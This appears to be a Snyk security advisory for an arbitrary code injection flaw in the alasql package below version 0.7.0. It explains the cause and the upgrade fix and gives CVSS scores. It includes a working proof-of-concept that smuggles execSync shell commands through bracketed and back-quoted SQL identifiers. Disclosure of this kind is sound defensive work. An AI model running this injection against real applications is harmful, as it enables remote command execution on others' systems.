Arbitrary Code Injection Affecting alasql package, versions <0.7.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-ALASQL-1082932
  • published 5 Mar 2021
  • disclosed 5 Mar 2021
  • credit Unknown

Introduced: 5 Mar 2021

CVE NOT AVAILABLE CWE-94 Open this link in a new tab

How to fix?

Upgrade alasql to version 0.7.0 or higher.

Overview

alasql is an Use SQL to select and filter javascript data - including relational joins and search in nested objects (JSON). Export to and import from Excel and CSV

Affected versions of this package are vulnerable to Arbitrary Code Injection. AlaSQL doesn't restrict characters in square brackets ([ ]) or back-quote (`) by design. When an SQL query is compiled into JavaScript code, those strings are concatenated into the generated JavaScript without sanitization, causing a code injection vulnerability.

POC

const alasql = require('alasql');

const genPayload = command => new Function( &#39;return this.process.mainModule.require&#39; )()(&#39;child_process&#39;).execSync(${JSON.stringify(command)});

res = alasql( // Initialize the database 'CREATE table i_am_a_table;' + INSERT INTO i_am_a_table VALUES (1337); +

// Code injection in four different ways
`UPDATE i_am_a_table SET [0&#39;+${genPayload(&quot;&gt;&amp;2 echo UPDATE pwned $(whoami)&quot;)}+&#39;]=42;` +
`SELECT * from i_am_a_table where whatever=[&#39;+${genPayload(&quot;&gt;&amp;2 echo SELECT pwned $(whoami)&quot;)}+&#39;];` +
`SELECT \`&#39;+${genPayload(&quot;&gt;&amp;2 echo SELECT pwned again, back-quote works too. $(whoami)&quot;)}+&#39;\` from i_am_a_table where 1;` +
`SELECT [whatever||${genPayload(&#39;&gt;&amp;2 echo calling function pwned&#39;)}||](&#39;whatever&#39;);`

);

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High